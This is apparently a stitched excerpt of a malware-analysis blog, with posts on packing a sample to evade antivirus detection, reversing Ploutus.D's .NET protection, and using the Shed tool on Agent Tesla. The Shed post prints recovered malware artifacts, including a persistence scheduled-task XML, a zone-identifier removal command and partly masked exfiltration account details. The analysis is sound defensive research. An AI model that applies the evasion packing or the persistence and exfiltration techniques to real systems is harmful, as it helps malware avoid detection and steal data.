As I said before the command takes the file, encrypts it by using as password <i>sacara</i> and embeds it in the resource. It generates a new file named <i>LoadEncryptedAssembly.build.exe</i>, if you run it you will see that after a while the original malware binary is executed.</br></br>
The question is, how effective is this kind of protection? I have uploaded the new file to VT: <a href="https://www.virustotal.com/#/file/2e46664c52373b9ec14c64496cf1d18661e745fb83f1cdaaf73970d4fca59bbe/detection">2e46664c52373b9ec14c64496cf1d18661e745fb83f1cdaaf73970d4fca59bbe</a> in order to analyze it and as you can see from the following image the detection rate dropped drastically to <b>3/64</b>:</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-sXL6yPW1eA8/W-g43js1d7I/AAAAAAAACMM/RdyVNjIMiIgCVCMJ2Lqae199azbnOnMAQCLcBGAs/s1600/Post.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-sXL6yPW1eA8/W-g43js1d7I/AAAAAAAACMM/RdyVNjIMiIgCVCMJ2Lqae199azbnOnMAQCLcBGAs/s320/Post.png" width="320" height="304" data-original-width="1089" data-original-height="1036" /></a></div></br></br>
<h2>Conclusion</h2>
As you have noticed by using an obfuscation based on a software VM allowed to hide a malware that had a detection rate of 65/68 to a detection rate of 3/64.</br></br>
The reason for this may be various, I suspect that the
transaction from the managed world to the unmanaged world (in order to execute the decryption routine) may cause some problems. But this is something that most .NET malware already know, so I guess it shouldn't influence too much the result.</br></br>
The second possibility is that the software emulation of the encryption code has caused trouble to the detection engines. Of course, all of them are pure speculations :)</br></br>
<h2>References</h2>
[01] <a id="01" href="https://github.com/peperunas/pasticciotto">pasticciotto - https://github.com/peperunas/pasticciotto</a></br>
[02] <a id="02" href="https://secrary.com/CrackMe/VM_1_MalwareTech/">Reverse Engineering simple VM crackme - https://secrary.com/CrackMe/VM_1_MalwareTech/</a></br>
[03] <a id="03" href="https://crackmes.one/crackme/5ab77f5633c5d40ad448c280">hyperunpackme2 by thehyper - https://crackmes.one/crackme/5ab77f5633c5d40ad448c280</a></br>
[04] <a id="04" href="https://github.com/rwfpl/rewolf-x86-virtualizer">ReWolf x86 Virtualizer - https://github.com/rwfpl/rewolf-x86-virtualizer</a></br>
[05] <a id="05" href="http://index-of.co.uk/Reversing-Exploiting/Reversing a Simple Virtual Machine.pdf">Reversing a Simple Virtual Machine - http://index-of.co.uk/Reversing-Exploiting/Reversing a Simple Virtual Machine.pdf</a></br>
[06] <a id="06" href="http://www.msreverseengineering.com/blog/2014/8/5/defeating-hyperunpackme2-with-an-ida-processor-module">Defeating HyperUnpackMe2 With an IDA Processor Module - http://www.msreverseengineering.com/blog/2014/8/5/defeating-hyperunpackme2-with-an-ida-processor-module</a></br>
[07] <a id="07" href="ftp://ftp.df.ru/pub/solar/dos/hackme.com">Hackme - ftp://ftp.df.ru/pub/solar/dos/hackme.com</a></br>
[08] <a id="08" href="https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/FlareOn5_Challenge12_Solution.pdf">Suspicious Floppy Disk - https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/FlareOn5_Challenge12_Solution.pdf]</a></br>
[09] <a id="09" href="https://emanuelecozzi.net/posts/ctf/flareon-2018-challenge-12-subleq-rssb-writeup/">Flare-On 2018 - Challenge 12 - Subleq'n'RSSB - https://emanuelecozzi.net/posts/ctf/flareon-2018-challenge-12-subleq-rssb-writeup/</a></br>
[10] <a id="10" href="http://tigress.cs.arizona.edu/challenges.html">Reverse Engineering Challenges! - http://tigress.cs.arizona.edu/challenges.html</a></br>
[11] <a id="11" href="https://github.com/JonathanSalwan/Tigress_protection">Tigress_protection - https://github.com/JonathanSalwan/Tigress_protection</a></br>Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-8804620721962693262018-02-26T23:28:00.000-08:002020-05-29T02:10:53.434-07:00Analyzing the nasty .NET protection of the Ploutus.D malware.<p>Twitter: <a href="https://twitter.com/s4tan">@s4tan</a></p>
EDIT: The source code is now online: <a href="https://github.com/enkomio/Conferences/tree/master/HackInBo2018">https://github.com/enkomio/Conferences/tree/master/HackInBo2018</a><br><br>
Recently the ATM malware Ploutus.D reappeared in the news as being used to attack US ATM ([1]). In this post I'll show a possible analysis approach aimed at understanding its main
protection. The protection
is composed of different layers of protection, I'll focus on the one that, in my hopinion, is the most annoying, leaving the others out. If you want a clear picture of all the implied protections, I strongly
recommend you to take a look at the <i>de4dot</i> Reactor deobfuscator code.<br><br>
<h2>Introduction</h2>
Reversing .NET malware, in most cases, is not that difficult. This is mostly due to the awesome tool dnSpy ([2]), which allows debugging of the decompiled version of the Assembly. Most of the
.NET malware use some kind of loader which decrypts a blob of data and then loads the result through a call to the <i>Assembly.Load</i> method ([3]).<br><br>
From time to time some more advanced protection are involved, like the one analysed by Talos in [4]. What the article doesn't say is that in this specific case the malware uses a multi files assembly ([5]).<br><br>
This implies that instead of using the <i>Assembly.Load</i> method, it uses the way less known <i>Assembly.LoadModule</i> method ([6]). This protection method is a bit more difficult to implement but
I have to say that is way more effective as obfuscation. The malware also encrypt the method bodies and decrypt them only when necessary. This protection is easily overcome by calling the "<i>Reload All Method Bodies</i>"
command in dnSpy at the right moment (as also showed in the Talos article).<br><br>
Ploutus.D is also protected with an obfuscator which encrypts the method bodies and decrypts them only when necessary. The protector used is <i>.NET Reactor</i> ([7]) as also pointed out in a presentation
by Karspersky ([8]). This particular protection is called <i>NecroBit Protection</i>, and from the product website we can read that:<br><br>
<blockquote>
NecroBit is a powerful protection technology which stops decompilation. NecroBit replaces the CIL code within methods with encrypted code.
This way it is not possible to decompile/reverse engineer your method source code.
</blockquote><br><br>
The difference with the previous case is that if we try to use the "Reload All Method Bodies" feature in dnSpy, it will fail (this is not technically correct since there is nothing to reload as we will see).<br><br>
<h2>Reversing Ploutus.D obfuscation</h2>
To write this blog post I have reversed the sample with MD5 ae3adcc482edc3e0579e152038c3844e.
When I start to analyse a .NET malware, as first task I ran my tool <strong><a href="https://github.com/enkomio/shed">Shed</a></strong> ([9]) in order to have a broad overview of what the malware does and to try to extract dynamically loaded Assemblies.
In this case I was able to extract some useful strings (like the configured backend usbtest[.]ddns[.]net) but not the Assembly with the method bodies decrypted (however this is not an error and as we will
see it is the correct behaviour).<br><br>
The next step is to debug the program with dnSpy. If you run it the following Form will be displayed:<br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-a4BqzXRlP5Q/WpG6rvI8Y5I/AAAAAAAAB9I/IprPcUrFewALs7WJZnTIe75Jjnpj0BWZQCLcBGAs/s1600/Start%2BForm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-a4BqzXRlP5Q/WpG6rvI8Y5I/AAAAAAAAB9I/IprPcUrFewALs7WJZnTIe75Jjnpj0BWZQCLcBGAs/s320/Start%2BForm.png" width="320" height="288" data-original-width="452" data-original-height="407" /></a></div><br>
I started to dig a bit on the classes that extend the Form class in order to identify which commands are supported. Unfortunately most of the methods of these classes are empty, as can be seen from the following
screenshot:<br><br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://3.bp.blogspot.com/-TCkiAqjJj2w/WpUp4i182sI/AAAAAAAAB-U/5IEuNTaVbPEJnMBVEWrF4DC2Hol2eUD1wCLcBGAs/s1600/Empty%2Bmethod%2Bwith%2Bmeaninful%2Bname.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://3.bp.blogspot.com/-TCkiAqjJj2w/WpUp4i182sI/AAAAAAAAB-U/5IEuNTaVbPEJnMBVEWrF4DC2Hol2eUD1wCLcBGAs/s400/Empty%2Bmethod%2Bwith%2Bmeaninful%2Bname.png" width="400" height="314" data-original-width="1144" data-original-height="898" /></a></div><br>
It is interesting to note that all the static constructors are not empty. All of them are pretty simple (in some cases they have just one instruction), what it is interesting is that all of them
call the same method: <strong>P9ZBIKXMsRMxLdTfcG.Nf9E3QXmJD();</strong>, which is marked as <i>internal unsafe static void Nf9E3QXmJD()</i>.<br><br>
By analysing it, the thing start to get interesting since this method is pretty huge, especially since it implements a very annoying control flow obfuscation. It is interesting to notice that
if we set a breakpoint on this method and re-start the debugging session, it is amongst the first methods invoked by the program. Scrolling through the code we can find the following interesting statement:<br><br>
<pre>if (P9ZBIKXMsRMxLdTfcG.Ax6OYTY7tiMf4Yu1B4(P9ZBIKXMsRMxLdTfcG.XnSi7dQe0TUTJbDcxg(P9ZBIKXMsRMxLdTfcG.CQNheW6eOQNeBsXbJC(processModule)), "clrjit.dll"))</pre><br><br>
This piece of code is particularly interesting, since it tries to identify the <i>clrjit.dll</i> module. Once found, it identifies the CLR version, which in my case is 4.0.30319.0. Then, it extracts the resource
<i>m7fEJg2w6sBe9LM3D3.i4tjc9Xt0Vhu5G72Uh</i>.<br><br>
After a while the <i>getJit</i> string appears in the execution. This function is exported by <i>clrjit.dll</i> and it is a very important method since it allows to get a pointer to the <i>compileMethod</i> method.
To know more about it you could refer to my Phrack article
about .NET program instrumentation ([10]). We can also identify a call to the <i>VirtualProtect</i> method.<br><br>
With these information we can start to make some assumption, like that the malware hook the <i>compileMethod</i>
method in order to force the compilation of the real MSIL bytecode. Let's verify our assumption, in order to do so we need to change tool, in particular we will use <i>WinDbg</i> with the <i>SOS extension</i>
(if you want to know more
about debugging .NET applications with WinDbg take a look at my presentaion [11]).<br><br>
In order to inspect the program at the right moment, we will set an exception when the <i>clrjit.dll</i> library is loaded. This is easily done with the command:<br><br>
<pre>
sxe ld clrjit.dll
</pre>
once that this exception is raised let's inspect the <i>clrjit</i> module as showed in the following image:<br><br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-1wxdy3l3hfY/WpO5x1wAiWI/AAAAAAAAB-E/5FD6q808JMI5WaHz9aXTlWSKHJXWYAYEgCLcBGAs/s1600/getJit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-1wxdy3l3hfY/WpO5x1wAiWI/AAAAAAAAB-E/5FD6q808JMI5WaHz9aXTlWSKHJXWYAYEgCLcBGAs/s400/getJit.png" width="400" height="195" data-original-width="954" data-original-height="465" /></a></div><br><br>
The <i>getJit</i> method is an exported by <i>clrjit</i> dll and returns the address of the <i>VTable</i> of
an <i>ICorJitCompiler</i> object, where the first item is a pointer to the <i>compileMethod</i> method, as can be seen from the source code ([12]).
But, since we don't trust the source code, let's debug the <i>getJit</i> method till the <i>ret</i> instruction and inspect the return value stored in <i>eax</i>:<br><br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://4.bp.blogspot.com/-61Z2F96Btcs/WpG7BMxWfXI/AAAAAAAAB9Q/SHUwtYgfunYPIDPREoG5ZvjI7JfhfO7mwCLcBGAs/s1600/compileMethodAddress.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://4.bp.blogspot.com/-61Z2F96Btcs/WpG7BMxWfXI/AAAAAAAAB9Q/SHUwtYgfunYPIDPREoG5ZvjI7JfhfO7mwCLcBGAs/s320/compileMethodAddress.png" width="320" height="124" data-original-width="621" data-original-height="241" /></a></div><br>
as can be seen from the image above, the address of the <i>compileMethod</i> is at <i>0x70f049b0</i>. Now let's the program run until the main windows is displayed and then break
the process in the debugger. Let's display again the content of the <i>VTable</i> (which was <i>0x70f71420</i>).<br><br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-M_FATRyRHgo/WpG7G9PoPQI/AAAAAAAAB9U/Wg2fLeeuKiEnkwlKVU6_j3lJXnBVU1NvgCLcBGAs/s1600/compileMethodAddressHook.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-M_FATRyRHgo/WpG7G9PoPQI/AAAAAAAAB9U/Wg2fLeeuKiEnkwlKVU6_j3lJXnBVU1NvgCLcBGAs/s320/compileMethodAddressHook.png" width="320" height="74" data-original-width="476" data-original-height="110" /></a></div><br>
As can be seen from the image above the value of the first entry of the <i>VTable</i> changed to from <i>0x70f049b0</i> to <i>002a0000</i>. So our assumption about the hooking of the <i>compileMethod</i> was right :)<br><br>
Now we want to identify which method hooked the <i>compileMethod</i> method. To do this we will load the <i>SOS</i> extension (with the command <i>.loadby SOS clrjit</i>), set a breakpoint at the <i>compileMethod</i> method
and when the brakpoint
hits, type <i>!CLRStack</i> command to see which method was set as replacement. In order to trigger the <i>compileMethod</i> breakpoint I clicked on a random button in the interface.<br><br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-NCTMfGrWO6I/WpG7Ny54LJI/AAAAAAAAB9Y/yy4EP1J2p_kyEJq_ZpMwAWPPNSL_uc8WgCLcBGAs/s1600/CLRStack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://1.bp.blogspot.com/-NCTMfGrWO6I/WpG7Ny54LJI/AAAAAAAAB9Y/yy4EP1J2p_kyEJq_ZpMwAWPPNSL_uc8WgCLcBGAs/s320/CLRStack.png" width="320" height="131" data-original-width="990" data-original-height="405" /></a></div><br>
from the image above we can spot that the interested method is <i>qtlEIBBYuV</i>. Find below the decompiled code of the metohd (I have renamed the argument names and added some comments):<br><br>
<script src="https://gist.github.com/enkomio/309c8ab6edb0b64b3012f9ad7f06b841.js"></script>
What is interesting from the code above is that:
<ul>
<li>it reads the address of the <i>COREINFO_METHOD_INFO</i> structure at (1)</li>
<li>writes back the real MSIL bytecode at (2)</li>
<li>updates the fields <i>ILCode</i> and <i>ILCodeSize</i> at (3) and (4)</li>
<li>finally call the original <i>compileMethod</i> at (5)</li>
</ul>
In this way, it is sure that the correct MSIL code is compiled and executed (for more info on this structure please
refer to [10,12]).<br><br>
Finally, we have a pretty good understanding of how the real code is protected, now we can try to implement a simple program which dumps the real MSIL bytecode and rebuilds the assembly.
The de4dot tool, instead, uses a different approach,
which is based on emulating the decryption code of the method body and then rebuild the assembly.<br><br>
<h2>Let's the code speak</h2>
A possible approach to dump the real MSIL bytecode is:
<ul>
<li>Hook the <i>compileMethod</i> before the malware</li>
<li>Force all static constructors to be invoked and force compilation of all methods via <i>RuntimeHelpers.PrepareMethod</i>.
This will ensure that we are able to grab all the ILCode of the various methods.</li>
<li>When the hook is invoked store the values of the fields ILCode and ILCodeSize. We have to record also which method is currently compiled, this is done with the
code <i>getMethodInfoFromModule</i> from [10].</li>
<li>Rebuild the assembly by using Mono.Cecil or dnlib (my choice)</li>
</ul>
However, for this specific case, I'll use a slightly different approach, which is not as generic as the previous one but it is simpler and more interesting imho :)<br><br>
As we have seen from the code above, the <i>P9ZBIKXMsRMxLdTfcG.k6dbsY0qhy</i> is a dictionary of objects which contains the real MSIL bytecode as value and as key the address of the MSIL buffer.
What we can do is to read the value of this object via reflection
and rebuild the original binary. All this without implying the hooking of any methods :)<br><br>
I have implemented a simple program that extracts those values via reflection, calculates the address of each method and rebuild the assembly. If you want to take a look it, here is
the code.<br><br>
<script src="https://gist.github.com/enkomio/d6ac617d2aafa0c3c11aab3f8c91dcfc.js"></script>
After dumped the real MSIL, we can see that now the methods are not empty anymore:<br><br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://2.bp.blogspot.com/-flCTLe9VEnU/WpG8L4QTMlI/AAAAAAAAB94/hry5ysoQsBY2fhdktDMsLHzzFodZyaYDQCPcBGAYYCw/s1600/BeforeAndAfter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-flCTLe9VEnU/WpG8L4QTMlI/AAAAAAAAB94/hry5ysoQsBY2fhdktDMsLHzzFodZyaYDQCPcBGAYYCw/s320/BeforeAndAfter.png" width="320" height="109" data-original-width="1306" data-original-height="443" /></a></div><br>
<h2>Conclusion</h2>
The purpose of this post was to show how to analyse, in an effective way, a strongly obfuscate malware with the help of different tools and the knowledge of the internal working of the .NET framework.<br><br>
As an alternative, if you want to obtain a de-obfuscated sample I encourage you to use the de4dot tool (and to read the code since this project is a gold mine of information related to the .NET internals). <br><br>
At the time of this writing the sample is not correctly deobfuscated by de4dot due to an error in the
string decryption step. To obtain a deobfuscated sample with the real method body, just comment out the string decryption step in <i>ObfuscatedFile.cs</i>.<br><br>
Too often developers underestimate the power of reflection and as a result it is not uncommon to bypass protection (included license verification code) only by using reflection and nothing more :)<br><br>
<h2>References</h2>
[1] First ‘Jackpotting’ Attacks Hit U.S. ATMs - https://goo.gl/6WY14V<br>
[2] dnSpy - https://github.com/0xd4d/dnSpy<br>
[3] Assembly.Load Method (Byte[]) - https://goo.gl/owZtC1<br>
[4] Recam Redux - DeConfusing ConfuserEx - https://goo.gl/oKgj1k<br>
[5] How to: Build a Multifile Assembly - https://goo.gl/mVdHuU<br>
[6] Assembly.LoadModule Method (String, Byte[]) - https://goo.gl/D6N797<br>
[7] .NET REACTOR - http://www.eziriz.com/dotnet_reactor.htm<br>
[8] Threat hunting .NET malware with YARA.pdf - https://goo.gl/RxEw1G<br>
[9] Shed, .NET runtime inspector - https://github.com/enkomio/shed<br>
[10] http://www.phrack.org/papers/dotnet_instrumentation.html<br>
[11] .NET for hackers - https://www.slideshare.net/s4tan/net-for-hackers<br>
[12] getJit() - https://github.com/dotnet/coreclr/blob/master/src/inc/corjit.h#L241Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-12781882342160982332017-11-12T08:10:00.001-08:002017-11-13T00:56:41.302-08:00Shed - Inspect .NET malware like a Sir<style>
pre {
white-space: pre-wrap; /* css-3 */
white-space: -moz-pre-wrap; /* Mozilla, since 1999 */
white-space: -pre-wrap; /* Opera 4-6 */
white-space: -o-pre-wrap; /* Opera 7 */
word-wrap: break-word; /* Internet Explorer 5.5+ */
}
</style>
When I start to analyze a new malware, there are some initial tasks that provide a lot of useful information to speedup the analysis. Two of them are of particular interest, the extraction of the embedded strings and the dumping of packed binaries. Unfortunately those information are often obfuscated or not so easy to retrieve. In this article I'll present a new tool which is able to analyze .NET programs in order to extract those information in an easy way. Its name is <i>Shed</i>.<br><br>
You can find the full source code of the project and an already compiled binary in <a href="https://github.com/enkomio/shed">this Github project</a>.<br><br>
<h3>Introduction</h3>
The idea behind this tool is to make the extraction of strings that reside in memory easier and also to dump dynamically loaded binaries. I'll show you how to use <i>Shed</i> in order to analyze a well know .NET RAT malware.<br><br>
<h3>Dump the Heap</h3>
When a new object is created, it is saved in the managed heap. This memory area is managed by the .NET runtime, more specifically by the <i>Garbage Collector</i>. It is its responsibility to free unused memory when needed. This specific behavior is very handy for an analyst, since the <i>Garbage Collector</i> will not reclaim the memory if not necessary. In this way we have a good amount of time to inspect the heap and to dump useful objects, like strings or byte array.<br><br>
Thanks to the powerful <i>Reflection</i> capability provided by .NET, for each stored object we can extract the type and also all associated fields. In this way we can reconstruct the memory representation of complex class that can provide useful insight about the inner working of the malware.<br><br>
<h3>Modules dump</h3>
Another interesting aspect when analyzing a malware is the ability to dump dynamically loaded <i>Assemblies</i>. This case is pretty common, since most of the .NET malware store the main <i>Assembly</i> in some kind of encrypted form and load it only at runtime.<br><br>
It already exists a very useful tool that allow you to dump dynamically loaded <i>Assemblies</i> which is <i>MegaDumper</i>, but since it is not open source (on GitHub you can find a decompiled version) and I have never wrote a PE dumper, I decided to create my own tool :)<br><br>
In order to dump an <i>Assembly</i> we have to dump the related PE file from memory. This operation can be pretty challenging, a lot depends on how the malware was protected.<br><br>
A naive approach is identifying the start of the PE file and starting from there read<br><br> <i>PE->SizeOfImage</i><br><br>bytes. The main problem with this approach is that by now most of the malware use <i>Process Hollowing</i> ([<a href="#ref1">1</a>]) to inject its content in a newly created process. This implies that the PE is not mapped in a contiguous memory area, making the read operation not possible.<br><br>
A better strategy is to parse the PE header and reconstruct the binary by reading all sections from memory.<br><br>
One important aspect to consider when dump a .NET Assembly is to fix the PE <i>Entry Point</i>. Let us analyze the <i>Entry Point</i> of a managed PE file:
<pre>
[0x0043d9de]> pd 1
;-- entry0:
0x0043d9de ff2500204000 jmp dword [sym.imp.mscoree.dll__CorExe
</pre>
the code jumps to the <i>_CorExe</i> routine. From MSDN ([<a href="#ref2">2</a>]) we can read that:<br><br>
<i>Initializes the common language runtime (CLR), locates the managed entry point in the executable assembly's CLR header, and begins execution.</i><br><br>
So we need to set the <i>Entry Point</i> of the reconstructed binary to a piece of code which jump to this function. Last missing part is to obtain the address of this function. This task can be accomplished by walking the <i>Import Address Table</i> and locating it.<br><br>
<h3>Use cases Agent Tesla (cc518a6c63f56c4891b5e30e8cb97b26)</h3>
Let's see how to use <i>Shed</i> in order to analyze a real world malware, an agent Tesla sample analyzed by Forcepoint in [<a href="#ref3">3</a>].<br><br>
<pre>
c:\Shed>Shed.exe --timeout 2000 --exe cc518a6c63f56c4891b5e30e8cb97b26.exe
-=[ Shed .NET program inspector ]=-
Copyright (c) 2017 Antonio Parata - @s4tan
[+] Attached to pid: 160
[+] Created runtime: v2.0.50727.5420
...
[+] [System.String] 0x278043C: 0|0|0|0|0|0|0|0|0|0|18000|1|skpehostbrowaer.exe|Temp|AXKTOimGsklqIffPCompzbSmVnpwanUmzyjRJTSpqQzJHIASyqoYDvKR|0|0|0|0|0|0|0|IWIOzYrGb|0|0|0|0|0|0|NgjBaJMqu|OEeQOTHIoxSSUapGpFWjxLNzWbe|6|0|
[+] [System.String] 0x2780610: /c echo [zoneTransfer]ZoneID = 2 >
[+] [System.String] 0x2780668: :ZONE.identifier & exit
[+] [System.String] 0x2780748: <?xml version="1.0" encoding="UTF-16"?><Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>2014-10-25T14:27:44.8929027</Date> <Author>[USERID]</Author> </RegistrationInfo> <Triggers> <LogonTrigger> <Enabled>true</Enabled> <UserId>[USERID]</UserId> </LogonTrigger> <RegistrationTrigger> <Enabled>false</Enabled> </RegistrationTrigger> </Triggers> <Principals> <Principal id="Author"> <UserId>[USERID]</UserId> <LogonType>InteractiveToken</LogonType> <RunLevel>LeastPrivilege</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context="Author"> <Exec> <Command>[LOCATION]</Command> </Exec> </Actions></Task>
[+] [System.String] 0x2781308: [LOCATION]
[+] [System.String] 0x2781330: schtasks.exe
...
[+] Saved dynamic module: raobtmNqCzJjZpcUiyDwYSCM
[+] Saved dynamic module: Microsoft.VisualBasic.dll
[+] Result saved to c:\Shed\Result\160
[+] Detached
</pre>
From the output we can see that a module with a weird name (<i>raobtmNqCzJjZpcUiyDwYSCM</i>) was dumped. This <i>Assembly</i> was decrypted and loaded by the first loader layer.<br><br>
It is in charge for various operations and it has also a configuration string which is:<br><br>
<b>0|0|0|0|0|0|0|0|0|0|18000|1|skpehostbrowaer.exe|Temp|AXKTOimGsklqIffPCompzbSmVnpwanUmzyjRJTSpqQzJHIASyqoYDvKR|0|0|0|0|0|0|0|IWIOzYrGb|0|0|0|0|0|0|NgjBaJMqu|OEeQOTHIoxSSUapGpFWjxLNzWbe|6|0|</b>
<br><br>
specify the time to sleep (18000 milliseconds) and the name to give to the real payload.<br><br>
Also, it is in charge for ensuring persistence by creating a task with the XML configuration string displayed in the output. Finally, it decrypts the real payload and executes it with a .NET implementation of the <i>RunPE</i> technique which use <i>Process Hollow</i>.<br><br>
This loader was already analyzed in [<a href="#ref4">4</a>]. By using <i>Shed</i>, we can see that we were able to retrieve a lot of useful information without too much effort.<br><br>
Moving on, in order to inspect the real payload, I executed the program and waited for the spawn of a new process. After this, I ran <i>Shed</i> against the newly created process as showed below:
<pre>
c:\Shed>Shed.exe --pid 3652
-=[ Shed .NET program inspector ]=-
Copyright (c) 2017 Antonio Parata - @s4tan
[+] Attached to pid: 3652
[+] Created runtime: v2.0.50727.5420
...
[+] [System.String] 0x297A798: <br>VideocardName&nbsp;:
[+] [System.String] 0x297A7DC: <br>VideocardMem&nbsp;&nbsp;:
[+] [System.String] 0x297A82C: <br>IP Address&nbsp;&nbsp;:
...
[+] Saved dynamic module: Microsoft.VisualBasic.dll
[+] Saved dynamic module: Microsoft.JScript.dll
[+] Saved dynamic module: IELibrary
[+] Saved dynamic module: System.Security.dll
[+] Result saved to c:\Shed\Result\3652
[+] Detached
</pre>
This time the output is pretty huge. Among the dumped modules the most interesting ones are:<br><br>
<h4>IELibray (9759067EDF26E4A4E49B4E228C7DF81C)</h4>
It is used to interact with Internet Explorer in order to steal usernames, passwords and cookies, as can be seen by the following image:
<a href="https://4.bp.blogspot.com/-Y0bR0sx5MmA/WgSH7w1QaeI/AAAAAAAAB5M/P4xhIQTfC1cVy6Yxi7R2hi0kLa-dGZqtQCPcBGAYYCw/s1600/IELibrary.png" imageanchor="1" ><img border="0" src="https://4.bp.blogspot.com/-Y0bR0sx5MmA/WgSH7w1QaeI/AAAAAAAAB5M/P4xhIQTfC1cVy6Yxi7R2hi0kLa-dGZqtQCPcBGAYYCw/s320/IELibrary.png" width="320" height="183" data-original-width="708" data-original-height="404" /></a><br><br>
<h4>no name (6030C0CFC40A6A69857454D5EB41D9FA)</h4>
This is the real <i>Agent Tesla</i> module, where we can see the routine in charge for decrypting the stored string:<br>
<a href="https://4.bp.blogspot.com/-xJHsOeAtbpg/WgSJ75a57_I/AAAAAAAAB5c/4wOBspVoEzgUVe7a71amUm6jrAyZKTmSQCPcBGAYYCw/s1600/SEncryption.png" imageanchor="1" ><img border="0" src="https://4.bp.blogspot.com/-xJHsOeAtbpg/WgSJ75a57_I/AAAAAAAAB5c/4wOBspVoEzgUVe7a71amUm6jrAyZKTmSQCPcBGAYYCw/s320/SEncryption.png" width="320" height="159" data-original-width="912" data-original-height="453" /></a><br><br>
<h4>Heap inspection</h4>
As already said, even if the strings are stored in encrypted form they will survive until the <i>Garbage Collector</i> will not reclaim the memory. If we take a look at the JSON file <i>heap.json</i>, we will see (apart from the enormous amount of information dumped) a lot of useful data, like the SMTP server and account used to exfiltrate data:<br><br>
<pre>
{
"Address": 43845700,
"Name": null,
"Properties": [ ],
"Reference": 0,
"Type": "System.String",
"Value": "gp4XXXXXX@zoho.com"
},
...
{
"Address": 43864368,
"Name": null,
"Properties": [ ],
"Reference": 0,
"Type": "System.String",
"Value": "poXXXXX8"
},
...
{
"Address": 43871204,
"Name": null,
"Properties": [ ],
"Reference": 0,
"Type": "System.String",
"Value": "smtp.zoho.com"
},
...
</pre>
<h3>Conclusion</h3>
I hope that you enjoyed this post and that you will find <i>Shed</i> useful in your analysis :)
<br><br>
<h3>References</h3>
[1] <a id="ref1" href="https://attack.mitre.org/wiki/Technique/T1093">Process Hollowing</a><br>
[2] <a id="ref2" href="https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/corexemain-function">_CorExeMain Function</a><br>
[3] <a id="ref3" href="https://blogs.forcepoint.com/security-labs/part-two-camouflage-netting">PART TWO - CAMOUFLAGE .NETTING</a><br>
[4] <a id="ref4" href="https://blog.malwarebytes.com/threat-analysis/2016/07/unpacking-yet-another-net-crypter/">Unpacking yet another .NET crypter</a>Antonio "s4tan" Paratahttp://www.blogger.com/profile/10842926885739040651noreply@blogger.com0tag:blogger.com,1999:blog-1344152515220792677.post-71765305668702883852017-09-16T05:51:00.002-07:002017-09-16T07:30:58.506-07:00Using a Mealy automata for string obfuscationObfuscating string is a very important aspect if you want to protect sensitive information.
In the following post I'll present an alternative method to obfuscate strings by using a Mealy automata.<br><br>
You can find the full source code of the project in <a href="https://github.com/enkomio/MealyObfuscator">this Github project</a><br><br>
<h3>Introduction</h3>
From Wikipedia ([1]) we can read that <i>a Mealy machine is a finite-state machine whose output values are determined both by its current state and the current inputs</i>. There are plenty of information on the internet about this concept, so I will not go into further details. What is interesting to us is that by having an automata, we can give it a specific input and have the computed string as output.<br><br>The idea of using a Mealy machine to obfuscate strings is not new and it was already presented in [2]. Unfortunately the book doesn't explains how to create a Mealy automata in an automatic way. As the task of creating an automata manually, for each of the strings, is very time consuming, I felt that a very important part was missing. <br>
In the following paragraphs I'll try to fill this hole by providing you with a possible implementation. <br>
In the final section we will see an example that uses the code presented in the book.<br><br>
<h3>Why using a new method?</h3>
If you have ever reversed a binary which use obfuscation you might have noticed that most of the obfuscation strategies are based on using some kind of know cryptographic algorithm or by using a custom encoder based on ADD/XOR/ROL instructions. Both cases have advantages and disadvantage (using a XOR obfuscation is a weak method, see [3]), but both are based on the assumption that they have the data encoded/encrypted in some way in the binary. In our case we convert the data in "<i>code</i>" that generates the decoded value at runtime.<br><br>
For our purpose we will use a Mealy machine which has 0/1 as input. This choice will allow us to encode each letter with a bit, greatly reducing the input representation.<br><br>
<h3>Implementation</h3>
Let's consider a simple automata (created with [4]):<br><br>
